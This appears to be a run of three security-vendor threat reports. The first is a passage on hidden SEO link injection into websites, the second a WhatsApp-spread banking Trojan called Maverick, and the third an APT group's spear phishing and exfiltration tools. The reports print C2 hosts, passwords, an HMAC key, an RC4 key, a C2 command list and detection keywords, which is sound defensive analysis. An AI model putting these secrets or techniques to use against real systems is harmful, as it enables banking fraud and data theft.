Compromise of the administrator password. An attacker may guess the password, use phishing to trick the victim into giving it away, or steal it with the help of malware. Furthermore, the password may be found in a database of leaked credentials. Site administrators frequently use simple passwords for control panel protection or, even worse, leave the default password, thereby simplifying the task for the attacker.
After gaining access to the admin panel, the attacker can directly edit the page’s HTML code or install their own plugins with hidden SEO blocks.
Exploitation of CMS (WordPress, Joomla, Drupal) vulnerabilities. If the engine or plugins are out of date, attackers use known vulnerabilities (SQL Injection, RCE, or XSS) to gain access to the site’s code. After that, depending on the level of access gained by exploiting the vulnerability, they can modify template files (header.php, footer.php, index.php, etc.), insert invisible blocks into arbitrary site pages, and so on.
In SQL injection attacks, the hacker injects their malicious SQL code into a database query. Many websites, from news portals to online stores, store their content (text, product descriptions, and news) in a database. If an SQL query, such as
SELECT *FROM posts WHERE id='$id' allows passing arbitrary data, the attacker can use the
$id field to inject their code. This allows the attacker to change the content of records, for example, by inserting HTML with hidden blocks.
In RCE (remote code execution) attacks, the attacker gains the ability to run their own commands on the server where the website runs. Unlike SQL injections, which are limited to the database, RCE provides almost complete control over the system. For example, it allows the attacker to create or modify site files, upload malicious scripts, and, of course, inject invisible blocks.
In an XSS (cross-site scripting) attack, the attacker injects their JavaScript code directly into the web page by using vulnerable input fields, such as those for comments or search queries. When another user visits this page, the malicious script automatically executes in their browser. Such a script enables the attacker to perform various malicious actions, including stealthily adding a hidden
<div> block with invisible links to the page. For XSS, the attacker does not need direct access to the server or database, as in the case with SQL injection or RCE; they only need to find a single vulnerability on the website.
An attack via the hosting provider. In addition to directly hacking the target website, an attacker may attempt to gain access to the website through the hosting environment. If the hosting provider’s server is poorly secured, there is a risk of it being compromised. Furthermore, if multiple websites or web applications run on the same server, a vulnerability in one of them can jeopardize all other projects. The attacker’s capabilities depend on the level of access to the server. These capabilities may include: injecting hidden blocks into page templates, substituting files, modifying databases, connecting external scripts to multiple websites simultaneously, and so forth. Meanwhile, the website administrator may not notice the problem because the vulnerability is being exploited within the server environment rather than the website code.
Note that hidden links appearing on a website is not always a sign of a cyberattack. The issue often arises during the development phase, for example, if an illegal copy of a template is downloaded to save money or if the project is executed by an unscrupulous web developer.
Why attackers place hidden blocks on websites
One of the most obvious goals for injecting hidden blocks into other people’s websites is to steal the PageRank from the victim. The more popular and authoritative the website is, the more interesting it is to attackers. However, this does not mean that moderate- or low-traffic websites are safe. As a rule, administrators of popular websites and large platforms do their best to adhere to security rules, so it is not so easy to get close to them. Therefore, attackers may target less popular – and less protected – websites.
As previously mentioned, this approach to promoting websites is easily detected and blocked by search engines. In the short term, though, attackers still benefit from this: they manage to drive traffic to the websites that interest them until search engine algorithms detect the violation.
Even though the user does not see the hidden block and cannot click the links, attackers can use scripts to boost traffic to their websites. One possible scenario involves JavaScript creating an iframe in the background or sending an HTTP request to the website from the hidden block, which then receives information about the visit.
Hidden links can lead not just to pornographic or other questionable websites but also to websites with low-quality content whose sole purpose is to be promoted and subsequently sold, or to phishing and malicious websites. In more sophisticated schemes, the script that provides “visits” to such websites may load malicious code into the victim’s browser.
Finally, hidden links allow attackers to lower the reputation of the targeted website and harm its standing with search engines. This threat is especially relevant in light of the fact that algorithms such as Google Penguin penalize websites hosting questionable links. Attackers may use these techniques as a tool for unfair competition, hacktivism, or any other activity that involves discrediting certain organizations or individuals.
Interestingly, in 2025, we have more frequently encountered hidden blocks with links to pornographic websites and online casinos on various legitimate websites. With low confidence, we can suggest that this is partly due to the development of neural networks, which make it easy to automate such attacks, and partly due to the regular updates to Google’s anti-spam systems, the latest of which was completed at the end of September 2025: attackers may have rushed to maximize their gains before the search engine made it a little harder for them.
Consequences for the victim website
The consequences for the victim website can vary in severity. At a minimum, the presence of hidden links placed by unauthorized parties hurts search engine reputation, which may lead to lower search rankings or even complete exclusion from search results. However, even without any penalties, the links disrupt the internal linking structure because they lead to external websites and pass on a portion of the victim’s weight to them. This negatively impacts the rankings of key pages.
Although unseen by visitors, hidden links can be discovered by external auditors, content analysis systems, or researchers who report such findings in public reports. This is something that can undermine trust in the website. For example, sites where our categorization engine detects links to pornography pages will be classified as “Adult content”. Consequently, all of our clients who use web filters to block this category will be unable to visit the website. Furthermore, information about a website’s category is published on our Kaspersky Threat Intelligence Portal and available to anyone wishing to look up its reputation.
If the website is being used to distribute illegal or fraudulent content, the issue enters the legal realm, with the owner potentially facing lawsuits from copyright holders or regulators. For example, if the links lead to websites that distribute pirated content, the site may be considered an intermediary in copyright infringement. If the hidden block contains malicious scripts or automatic redirects to questionable websites, such as phishing pages, the owner can be charged with fraud or some other cybercrime.
How to detect a hidden link block on your website
The simplest and most accessible method for any user to check a website for a hidden block is to view its source code in the browser. This is very easy to do. Navigate to the website, press Control+U, and the website’s code will open in the next tab. Search (Control+F) the code for the following keywords:
display:none,visibility:hidden,opacity:0,height:0,width:0,position:absolute. In addition, you can check for keywords that are characteristic of the hidden content itself. When it comes to links that point to adult or gambling sites, you should look for
porn,sex,casino,card, and the like.
A slightly more complex method is using web developer tools to investigate the DOM for invisible blocks. After the page fully loads, open DevTools (F12) in the browser and go to the Elements tab. Search (Control+F) for keywords such as
<a,iframe,display:none,hidden,opacity. Hover your cursor over suspicious elements in the code so the browser highlights their location on the page. If the block occupies zero area or is located outside the visible area, that is an indicator of a hidden element. Check the Computed tab for the selected element; there, you can see the applied CSS styles and confirm that it is hidden from the user’s view.
You can also utilize specialized SEO tools. These are typically third-party solutions that scan website SEO data and generate reports. They can provide a report about suspicious links as well. Few of them are free, but when selecting a tool, you should be guided primarily by the vendor’s reputation rather than price. It is better to use tried-and-true, well-known services that are known to be free of malicious or questionable payloads. Examples of these trusted services include Google Search Console, Bing Webmaster Tools, OpenLinkProfiler, and SEO Minion.
Another way to discover hidden SEO spam on a website is to check the CMS itself and its files. First, you should scan the database tables for suspicious HTML tags with third-party links that may have been inserted by attackers, and also carefully examine the website’s template files (header.php, footer.php, and index.php) and included modules for unfamiliar or suspicious code. Pay particular attention to encrypted insertions, unclear scripts, or links that should not originally be present in the website’s structure.
Additionally, you can look up your website’s reputation on the Kaspersky Threat Intelligence Portal. If you find it in an uncharacteristic category – typically “Adult content”, “Sexually explicit”, or “Gambling” – there is a high probability that there is a hidden SEO spam block embedded in your website.
How to protect your website
To prevent hidden links from appearing on your website, avoid unlicensed templates, themes, and other pre-packaged solutions. The entire site infrastructure must be built only on licensed and official solutions. The same principle applies to webmasters and companies you hire to build your website: we recommend checking their work for hidden links, but also for vulnerabilities in general. Never cut corners when it comes to security.
Keep your CMS, themes, and plugins up to date, as new versions often patch known vulnerabilities that attackers can exploit. Delete any unused plugins and themes, if any. The less unnecessary components are installed, the lower the risk of an exploit in one of the extensions, plugins, and themes. It is worth noting that this risk never disappears completely – it is still there even if you have a minimal set of components as long as they are outdated or poorly secured.
To protect files and the server, it is important to properly configure access permissions. On servers running Linux and other Unix-like systems, use 644 for files and 755 for folders. This means that the owner can open folders, and read and modify folders and files, while the group and other users can only read files and open folders. If write access is not necessary, for example in template folders, forbid it altogether to lower the risk of malicious actors making unauthorized changes. Furthermore, you must set up regular, automatic website backups so that data can be quickly restored if there is an issue.
Additionally, it is worth using web application firewalls (WAFs), which help block malicious requests and protect the site from external attacks. This solution is available in Kaspersky DDoS Protection.
To protect the administrator panel, use only strong passwords and 2FA (Two-Factor Authentication) at all times. You would be well-advised to restrict access to the admin panel by IP address if you can. Only a limited group of individuals should be granted admin privileges.
A malware campaign was recently detected in Brazil, distributing a malicious LNK file using WhatsApp. It targets mainly Brazilians and uses Portuguese-named URLs. To evade detection, the command-and-control (C2) server verifies each download to ensure it originates from the malware itself.
The whole infection chain is complex and fully fileless, and by the end, it will deliver a new banking Trojan named Maverick, which contains many code overlaps with Coyote. In this blog post, we detail the entire infection chain, encryption algorithm, and its targets, as well as discuss the similarities with known threats.
Key findings:
A massive campaign disseminated through WhatsApp distributed the new Brazilian banking Trojan named “Maverick” through ZIP files containing a malicious LNK file, which is not blocked on the messaging platform.
Once installed, the Trojan uses the open-source project WPPConnect to automate the sending of messages in hijacked accounts via WhatsApp Web, taking advantage of the access to send the malicious message to contacts.
The new Trojan features code similarities with another Brazilian banking Trojan called Coyote; however, we consider Maverick to be a new threat.
The Maverick Trojan checks the time zone, language, region, and date and time format on infected machines to ensure the victim is in Brazil; otherwise, the malware will not be installed.
The banking Trojan can fully control the infected computer, taking screenshots, monitoring open browsers and websites, installing a keylogger, controlling the mouse, blocking the screen when accessing a banking website, terminating processes, and opening phishing pages in an overlay. It aims to capture banking credentials.
Once active, the new Trojan will monitor the victims’ access to 26 Brazilian bank websites, 6 cryptocurrency exchange websites, and 1 payment platform.
All infections are modular and performed in memory, with minimal disk activity, using PowerShell, .NET, and shellcode encrypted using Donut.
The new Trojan uses AI in the code-writing process, especially in certificate decryption and general code development.
Our solutions have blocked 62 thousand infection attempts using the malicious LNK file in the first 10 days of October, only in Brazil.
Initial infection vector
The infection chain works according to the diagram below:
The infection begins when the victim receives a malicious .LNK file inside a ZIP archive via a WhatsApp message. The filename can be generic, or it can pretend to be from a bank:
The message said, “Visualization allowed only in computers. In case you’re using the Chrome browser, choose “keep file” because it’s a zipped file”.
The LNK is encoded to execute cmd.exe with the following arguments:
The decoded commands point to the execution of a PowerShell script:
The command will contact the C2 to download another PowerShell script. It is important to note that the C2 also validates the “User-Agent” of the HTTP request to ensure that it is coming from the PowerShell command. This is why, without the correct “User-Agent”, the C2 returns an HTTP 401 code.
The entry script is used to decode an embedded .NET file, and all of this occurs only in memory. The .NET file is decoded by dividing each byte by a specific value; in the script above, the value is “174”. The PE file is decoded and is then loaded as a .NET assembly within the PowerShell process, making the entire infection fileless, that is, without files on disk.
Initial .NET loader
The initial .NET loader is heavily obfuscated using Control Flow Flattening and indirect function calls, storing them in a large vector of functions and calling them from there. In addition to obfuscation, it also uses random method and variable names to hinder analysis. Nevertheless, after our analysis, we were able to reconstruct (to a certain extent) its main flow, which consists of downloading and decrypting two payloads.
The obfuscation does not hide the method’s variable names, which means it is possible to reconstruct the function easily if the same function is reused elsewhere. Most of the functions used in this initial stage are the same ones used in the final stage of the banking Trojan, which is not obfuscated. The sole purpose of this stage is to download two encrypted shellcodes from the C2. To request them, an API exposed by the C2 on the “/api/v1/” routes will be used. The requested URL is as follows:
To communicate with its API, it sends the API key in the “X-Request-Headers” field of the HTTP request header. The API key used is calculated locally using the following algorithm:
“Base64(HMAC256(Key))”
The HMAC is used to sign messages with a specific key; in this case, the threat actor uses it to generate the “API Key” using the HMAC key “MaverickZapBot2025SecretKey12345”. The signed data sent to the C2 is “3d045ada0df942c983635e|1759847631|MaverickBot”, where each segment is separated by “|”. The first segment refers to the specific resource requested (the first encrypted shellcode), the second is the infection’s timestamp, and the last, “MaverickBot”, indicates that this C2 protocol may be used in future campaigns with different variants of this threat. This ensures that tools like “wget” or HTTP downloaders cannot download this stage, only the malware.
Upon response, the encrypted shellcode is a loader using Donut. At this point, the initial loader will start and follow two different execution paths: another loader for its WhatsApp infector and the final payload, which we call “MaverickBanker”. Each Donut shellcode embeds a .NET executable. The shellcode is encrypted using a XOR implementation, where the key is stored in the last bytes of the binary returned by the C2. The algorithm to decrypt the shellcode is as follows:
Extract the last 4 bytes (int32) from the binary file; this indicates the size of the encryption key.
Walk backwards until you reach the beginning of the encryption key (file size – 4 – key_size).
Get the XOR key.
Apply the XOR to the entire file using the obtained key.
WhatsApp infector downloader
After the second Donut shellcode is decrypted and started, it will load another downloader using the same obfuscation method as the previous one. It behaves similarly, but this time it will download a PE file instead of a Donut shellcode. This PE file is another .NET assembly that will be loaded into the process as a module.
One of the namespaces used by this .NET executable is named “Maverick.StageOne,” which is considered by the attacker to be the first one to be loaded. This download stage is used exclusively to download the WhatsApp infector in the same way as the previous stage. The main difference is that this time, it is not an encrypted Donut shellcode, but another .NET executable—the WhatsApp infector—which will be used to hijack the victim’s account and use it to spam their contacts in order to spread itself.
This module, which is also obfuscated, is the WhatsApp infector and represents the final payload in the infection chain. It includes a script from WPPConnect, an open-source WhatsApp automation project, as well as the Selenium browser executable, used for web automation.
The executable’s namespace name is “ZAP”, a very common word in Brazil to refer to WhatsApp. These files use almost the same obfuscation techniques as the previous examples, but the method’s variable names remain in the source code. The main behavior of this stage is to locate the WhatsApp window in the browser and use WPPConnect to instrument it, causing the infected victim to send messages to their contacts and thus spread again. The file sent depends on the “MaverickBot” executable, which will be discussed in the next section.
Maverick, the banking Trojan
The Maverick Banker comes from a different execution branch than the WhatsApp infector; it is the result of the second Donut shellcode. There are no additional download steps to execute it. This is the main payload of this campaign and is embedded within another encrypted executable named “Maverick Agent,” which performs extended activities on the machine, such as contacting the C2 and keylogging. It is described in the next section.
Upon the initial loading of Maverick Banker, it will attempt to register persistence using the startup folder. At this point, if persistence does not exist, by checking for the existence of a .bat file in the “Startup” directory, it will not only check for the file’s existence but also perform a pattern match to see if the string “for %%” is present, which is part of the initial loading process. If such a file does not exist, it will generate a new “GUID” and remove the first 6 characters. The persistence batch script will then be stored as:
In the command generation function, it is possible to see the creation of an entirely new obfuscated PowerShell script.
First, it will create a variable named “$URL” and assign it the content passed as a parameter, create a “Net.WebClient” object, and call the “DownloadString.Invoke($URL)” function. Immediately after creating these small commands, it will encode them in base64. In general, the script will create a full obfuscation using functions to automatically and randomly generate blocks in PowerShell. The persistence script reassembles the initial LNK file used to start the infection.
This persistence mechanism seems a bit strange at first glance, as it always depends on the C2 being online. However, it is in fact clever, since the malware would not work without the C2. Thus, saving only the bootstrap .bat file ensures that the entire infection remains in memory. If persistence is achieved, it will start its true function, which is mainly to monitor browsers to check if they open banking pages.
The browsers running on the machine are checked for possible domains accessed on the victim’s machine to verify the web page visited by the victim. The program will use the current foreground window (window in focus) and its PID; with the PID, it will extract the process name. Monitoring will only continue if the victim is using one of the following browsers:
* Chrome
* Firefox
* MS Edge
* Brave
* Internet Explorer
* Specific bank web browser
If any browser from the list above is running, the malware will use UI Automation to extract the title of the currently open tab and use this information with a predefined list of target online banking sites to determine whether to perform any action on them. The list of target banks is compressed with gzip, encrypted using AES-256, and stored as a base64 string. The AES initialization vector (IV) is stored in the first 16 bytes of the decoded base64 data, and the key is stored in the next 32 bytes. The actual encrypted data begins at offset 48.
This encryption mechanism is the same one used by Coyote, a banking Trojan also written in .NET and documented by us in early 2024.
If any of these banks are found, the program will decrypt another PE file using the same algorithm described in the .NET Loader section of this report and will load it as an assembly, calling its entry point with the name of the open bank as an argument. This new PE is called “Maverick.Agent” and contains most of the banking logic for contacting the C2 and extracting data with it.
Maverick Agent
The agent is the binary that will do most of the banker’s work; it will first check if it is running on a machine located in Brazil. To do this, it will check the following constraints:
What each of them does is:
IsValidBrazilianTimezone()
Checks if the current time zone is within the Brazilian time zone range. Brazil has time zones between UTC-5 (-300 min) and UTC-2 (-120 min). If the current time zone is within this range, it returns “true”.
IsBrazilianLocale()
Checks if the current thread’s language or locale is set to Brazilian Portuguese. For example, “pt-BR”, “pt_br”, or any string containing “portuguese” and “brazil”. Returns “true” if the condition is met.
IsBrazilianRegion()
Checks if the system’s configured region is Brazil. It compares region codes like “BR”, “BRA”, or checks if the region name contains “brazil”. Returns “true” if the region is set to Brazil.
IsBrazilianDateFormat()
Checks if the short date format follows the Brazilian standard. The Brazilian format is dd/MM/yyyy. The function checks if the pattern starts with “dd/” and contains “/MM/” or “dd/MM”.
Right after the check, it will enable appropriate DPI support for the operating system and monitor type, ensuring that images are sharp, fit the correct scale (screen zoom), and work well on multiple monitors with different resolutions. Then, it will check for any running persistence, previously created in “C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\”. If more than one file is found, it will delete the others based on “GetCreationTime” and keep only the most recently created one.
C2 communication
Communication uses the WatsonTCP library with SSL tunnels. It utilizes a local encrypted X509 certificate to protect the communication, which is another similarity to the Coyote malware. The connection is made to the host “casadecampoamazonas.com” on port 443. The certificate is exported as encrypted, and the password used to decrypt it is Maverick2025!. After the certificate is decrypted, the client will connect to the server.
For the C2 to work, a specific password must be sent during the first contact. The password used by the agent is “101593a51d9c40fc8ec162d67504e221”. Using this password during the first connection will successfully authenticate the agent with the C2, and it will be ready to receive commands from the operator. The important commands are:
Command
Description
INFOCLIENT
Returns the information of the agent, which is used to identify it on the C2. The information used is described in the next section.
RECONNECT
Disconnect, sleep for a few seconds, and reconnect again to the C2.
REBOOT
Reboot the machine
KILLAPPLICATION
Exit the malware process
SCREENSHOT
Take a screenshot and send it to C2, compressed with gzip
KEYLOGGER
Enable the keylogger, capture all locally, and send only when the server specifically requests the logs
MOUSECLICK
Do a mouse click, used for the remote connection
KEYBOARDONECHAR
Press one char, used for the remote connection
KEYBOARDMULTIPLESCHARS
Send multiple characters used for the remote connection
TOOGLEDESKTOP
Enable remote connection and send multiple screenshots to the machine when they change (it computes a hash of each screenshot to ensure it is not the same image)
TOOGLEINTERN
Get a screenshot of a specific window
GENERATEWINDOWLOCKED
Lock the screen using one of the banks’ home pages.
LISTALLHANDLESOPENEDS
Send all open handles to the server
KILLPROCESS
Kill some process by using its handle
CLOSEHANDLE
Close a handle
MINIMIZEHANDLE
Minimize a window using its handle
MAXIMIZEHANDLE
Maximize a window using its handle
GENERATEWINDOWREQUEST
Generate a phishing window asking for the victim’s credentials used by banks
CANCELSCREENREQUEST
Disable the phishing window
Agent profile info
In the “INFOCLIENT” command, the information sent to the C2 is as follows:
Agent ID: A SHA256 hash of all primary MAC addresses used by all interfaces
Username
Hostname
Operating system version
Client version (no value)
Number of monitors
Home page (home): “home” indicates which bank’s home screen should be used, sent before the Agent is decrypted by the banking application monitoring routine.
Screen resolution
Conclusion
According to our telemetry, all victims were in Brazil, but the Trojan has the potential to spread to other countries, as an infected victim can send it to another location. Even so, the malware is designed to target only Brazilians at the moment.
It is evident that this threat is very sophisticated and complex; the entire execution chain is relatively new, but the final payload has many code overlaps and similarities with the Coyote banking Trojan, which we documented in 2024. However, some of the techniques are not exclusive to Coyote and have been observed in other low-profile banking Trojans written in .NET. The agent’s structure is also different from how Coyote operated; it did not use this architecture before.
It is very likely that Maverick is a new banking Trojan using shared code from Coyote, which may indicate that the developers of Coyote have completely refactored and rewritten a large part of their components.
This is one of the most complex infection chains we have ever detected, designed to load a banking Trojan. It has infected many people in Brazil, and its worm-like nature allows it to spread exponentially by exploiting a very popular instant messenger. The impact is enormous. Furthermore, it demonstrates the use of AI in the code-writing process, specifically in certificate decryption, which may also indicate the involvement of AI in the overall code development. Maverick works like any other banking Trojan, but the worrying aspects are its delivery method and its significant impact.
We have detected the entire infection chain since day one, preventing victim infection from the initial LNK file. Kaspersky products detect this threat with the verdict HEUR:Trojan.Multi.Powenot.a and HEUR:Trojan-Banker.MSIL.Maverick.gen.
Mysterious Elephant is a highly active advanced persistent threat (APT) group that we at Kaspersky GReAT discovered in 2023. It has been consistently evolving and adapting its tactics, techniques, and procedures (TTPs) to stay under the radar. With a primary focus on targeting government entities and foreign affairs sectors in the Asia-Pacific region, the group has been using a range of sophisticated tools and techniques to infiltrate and exfiltrate sensitive information. Notably, Mysterious Elephant has been exploiting WhatsApp communications to steal sensitive data, including documents, pictures, and archive files.
The group’s latest campaign, which began in early 2025, reveals a significant shift in their TTPs, with an increased emphasis on using new custom-made tools as well as customized open-source tools, such as BabShell and MemLoader modules, to achieve their objectives. In this report, we will delve into the history of Mysterious Elephant’s attacks, their latest tactics and techniques, and provide a comprehensive understanding of this threat.
Mysterious Elephant is a threat actor we’ve been tracking since 2023. Initially, its intrusions resembled those of the Confucius threat actor. However, further analysis revealed a more complex picture. We found that Mysterious Elephant’s malware contained code from multiple APT groups, including Origami Elephant, Confucius, and SideWinder, which suggested deep collaboration and resource sharing between teams. Notably, our research indicates that the tools and code borrowed from the aforementioned APT groups were previously used by their original developers, but have since been abandoned or replaced by newer versions. However, Mysterious Elephant has not only adopted these tools, but also continued to maintain, develop, and improve them, incorporating the code into their own operations and creating new, advanced versions. The actor’s early attack chains featured distinctive elements, such as remote template injections and exploitation of CVE-2017-11882, followed by the use of a downloader called “Vtyrei”, which was previously connected to Origami Elephant and later abandoned by this group. Over time, Mysterious Elephant has continued to upgrade its tools and expanded its operations, eventually earning its designation as a previously unidentified threat actor.
Latest campaign
The group’s latest campaign, which was discovered in early 2025, reveals a significant shift in their TTPs. They are now using a combination of exploit kits, phishing emails, and malicious documents to gain initial access to their targets. Once inside, they deploy a range of custom-made and open-source tools to achieve their objectives. In the following sections, we’ll delve into the latest tactics and techniques used by Mysterious Elephant, including their new tools, infrastructure, and victimology.
Spear phishing
Mysterious Elephant has started using spear phishing techniques to gain initial access. Phishing emails are tailored to each victim and are convincingly designed to mimic legitimate correspondence. The primary targets of this APT group are countries in the South Asia (SA) region, particularly Pakistan. Notably, this APT organization shows a strong interest and inclination towards diplomatic institutions, which is reflected in the themes covered by the threat actor’s spear phishing emails, as seen in bait attachments.
Spear phishing email used by Mysterious Elephant
For example, the decoy document above concerns Pakistan’s application for a non-permanent seat on the United Nations Security Council for the 2025–2026 term.
Malicious tools
Mysterious Elephant’s toolkit is a noteworthy aspect of their operations. The group has switched to using a variety of custom-made and open-source tools instead of employing known malware to achieve their objectives.
PowerShell scripts
The threat actor uses PowerShell scripts to execute commands, deploy additional payloads, and establish persistence. These scripts are loaded from C2 servers and often use legitimate system administration tools, such as curl and certutil, to download and execute malicious files.
Malicious PowerShell script seen in Mysterious Elephant’s 2025 attacks
For example, the script above is used to download the next-stage payload and save it as ping.exe. It then schedules a task to execute the payload and send the results back to the C2 server. The task is set to run automatically in response to changes in the network profile, ensuring persistence on the compromised system. Specifically, it is triggered by network profile-related events (Microsoft-Windows-NetworkProfile/Operational), which can indicate a new network connection. A four-hour delay is configured after the event, likely to help evade detection.
BabShell
One of the most recent tools used by Mysterious Elephant is BabShell. This is a reverse shell tool written in C++ that enables attackers to connect to a compromised system. Upon execution, it gathers system information, including username, computer name, and MAC address, to identify the machine. The malware then enters an infinite loop of performing the following steps:
It listens for and receives commands from the attacker-controlled C2 server.
For each received command, BabShell creates a separate thread to execute it, allowing for concurrent execution of multiple commands.
The output of each command is captured and saved to a file named output_[timestamp].txt, where [timestamp] is the current time. This allows the attacker to review the results of the commands.
The contents of the output_[timestamp].txt file are then transmitted back to the C2 server, providing the attacker with the outcome of the executed commands and enabling them to take further actions, for instance, deploy a next-stage payload or execute additional malicious instructions.
BabShell uses the following commands to execute command-line instructions and additional payloads it receives from the server:
Customized open-source tools
One of the latest modules used by Mysterious Elephant and loaded by BabShell is MemLoader HidenDesk.
MemLoader HidenDesk is a reflective PE loader that loads and executes malicious payloads in memory. It uses encryption and compression to evade detection.
MemLoader HidenDesk operates in the following manner:
The malware checks the number of active processes and terminates itself if there are fewer than 40 processes running — a technique used to evade sandbox analysis.
It creates a shortcut to its executable and saves it in the autostart folder, ensuring it can restart itself after a system reboot.
The malware then creates a hidden desktop named “MalwareTech_Hidden” and switches to it, providing a covert environment for its activities. This technique is borrowed from an open-source project on GitHub.
Using an RC4-like algorithm with the key D12Q4GXl1SmaZv3hKEzdAhvdBkpWpwcmSpcD, the malware decrypts a block of data from its own binary and executes it in memory as a shellcode. The shellcode’s sole purpose is to load and execute a PE file, specifically a sample of the commercial RAT called “Remcos” (MD5: 037b2f6233ccc82f0c75bf56c47742bb).
Another recent loader malware used in the latest campaign is MemLoader Edge.
MemLoader Edge is a malicious loader that embeds a sample of the VRat backdoor, utilizing encryption and evasion techniques.
It operates in the following manner:
The malware performs a network connectivity test by attempting to connect to the legitimate website bing.com:445, which is likely to fail since the 445 port is not open on the server side. If the test were to succeed, suggesting that the loader is possibly in an emulation or sandbox environment, the malware would drop an embedded picture on the machine and display a popup window with three unresponsive mocked-up buttons, then enter an infinite loop. This is done to complicate detection and analysis.
If the connection attempt fails, the malware iterates through a 1016-byte array to find the correct XOR keys for decrypting the embedded PE file in two rounds. The process continues until the decrypted data matches the byte sequence of MZ\x90, indicating that the real XOR keys are found within the array.
If the malware is unable to find the correct XOR keys, it will display the same picture and popup window as before, followed by a message box containing an error message after the window is closed.
Once the PE file is successfully decrypted, it is loaded into memory using reflective loading techniques. The decrypted PE file is based on the open-source RAT vxRat, which is referred to as VRat due to the PDB string found in the sample:
Spying on WhatsApp communications is a key aspect of the exfiltration modules employed by Mysterious Elephant. They are designed to steal sensitive data from compromised systems. The attackers have implemented WhatsApp-specific features into their exfiltration tools, allowing them to target files shared through the WhatsApp application and exfiltrate valuable information, including documents, pictures, archive files, and more. These modules employ various techniques, such as recursive directory traversal, XOR decryption, and Base64 encoding, to evade detection and upload the stolen data to the attackers’ C2 servers.
Uplo Exfiltrator
The Uplo Exfiltrator is a data exfiltration tool that targets specific file types and uploads them to the attackers’ C2 servers. It uses a simple XOR decryption to deobfuscate C2 domain paths and employs a recursive depth-first directory traversal algorithm to identify valuable files. The malware specifically targets file types that are likely to contain potentially sensitive data, including documents, spreadsheets, presentations, archives, certificates, contacts, and images. The targeted file extensions include .TXT, .DOC, .DOCX, .PDF, .XLS, .XLSX, .CSV, .PPT, .PPTX, .ZIP, .RAR, .7Z, .PFX, .VCF, .JPG, .JPEG, and .AXX.
Stom Exfiltrator
The Stom Exfiltrator is a commonly used exfiltration tool that recursively searches specific directories, including the “Desktop” and “Downloads” folders, as well as all drives except the C drive, to collect files with predefined extensions. Its latest variant is specifically designed to target files shared through the WhatsApp application. This version uses a hardcoded folder path to locate and exfiltrate such files:
The targeted file extensions include .PDF, .DOCX, .TXT, .JPG, .PNG, .ZIP, .RAR, .PPTX, .DOC, .XLS, .XLSX, .PST, and .OST.
ChromeStealer Exfiltrator
The ChromeStealer Exfiltrator is another exfiltration tool used by Mysterious Elephant that targets Google Chrome browser data, including cookies, tokens, and other sensitive information. It searches specific directories within the Chrome user data of the most recently used Google Chrome profile, including the IndexedDB directory and the “Local Storage” directory. The malware uploads all files found in these directories to the attacker-controlled C2 server, potentially exposing sensitive data like chat logs, contacts, and authentication tokens. The response from the C2 server suggests that this tool was also after stealing files related to WhatsApp. The ChromeStealer Exfiltrator employs string obfuscation to evade detection.
Infrastructure
Mysterious Elephant’s infrastructure is a network of domains and IP addresses. The group has been using a range of techniques, including wildcard DNS records, to generate unique domain names for each request. This makes it challenging for security researchers to track and monitor their activities. The attackers have also been using virtual private servers (VPS) and cloud services to host their infrastructure. This allows them to easily scale and adapt their operations to evade detection. According to our data, this APT group has utilized the services of numerous VPS providers in their operations. Nevertheless, our analysis of the statistics has revealed that Mysterious Elephant appears to have a preference for certain VPS providers.
VPS providers most commonly used by Mysterious Elephant (download)
Victimology
Mysterious Elephant’s primary targets are government entities and foreign affairs sectors in the Asia-Pacific region. The group has been focusing on Pakistan, Bangladesh, and Sri Lanka, with a lower number of victims in other countries. The attackers have been using highly customized payloads tailored to specific individuals, highlighting their sophistication and focus on targeted attacks.
The group’s victimology is characterized by a high degree of specificity. Attackers often use personalized phishing emails and malicious documents to gain initial access. Once inside, they employ a range of tools and techniques to escalate privileges, move laterally, and exfiltrate sensitive information.
Most targeted countries: Pakistan, Bangladesh, Afghanistan, Nepal and Sri Lanka
Countries targeted most often by Mysterious Elephant (download)
Primary targets: government entities and foreign affairs sectors
Industries most targeted by Mysterious Elephant (download)
Conclusion
In conclusion, Mysterious Elephant is a highly sophisticated and active Advanced Persistent Threat group that poses a significant threat to government entities and foreign affairs sectors in the Asia-Pacific region. Through their continuous evolution and adaptation of tactics, techniques, and procedures, the group has demonstrated the ability to evade detection and infiltrate sensitive systems. The use of custom-made and open-source tools, such as BabShell and MemLoader, highlights their technical expertise and willingness to invest in developing advanced malware.
The group’s focus on targeting specific organizations, combined with their ability to tailor their attacks to specific victims, underscores the severity of the threat they pose. The exfiltration of sensitive information, including documents, pictures, and archive files, can have significant consequences for national security and global stability.
To counter the Mysterious Elephant threat, it is essential for organizations to implement robust security measures, including regular software updates, network monitoring, and employee training. Additionally, international cooperation and information sharing among cybersecurity professionals, governments, and industries are crucial in tracking and disrupting the group’s activities.
Ultimately, staying ahead of Mysterious Elephant and other APT groups requires a proactive and collaborative approach to cybersecurity. By understanding their TTPs, sharing threat intelligence, and implementing effective countermeasures, we can reduce the risk of successful attacks and protect sensitive information from falling into the wrong hands.
Login
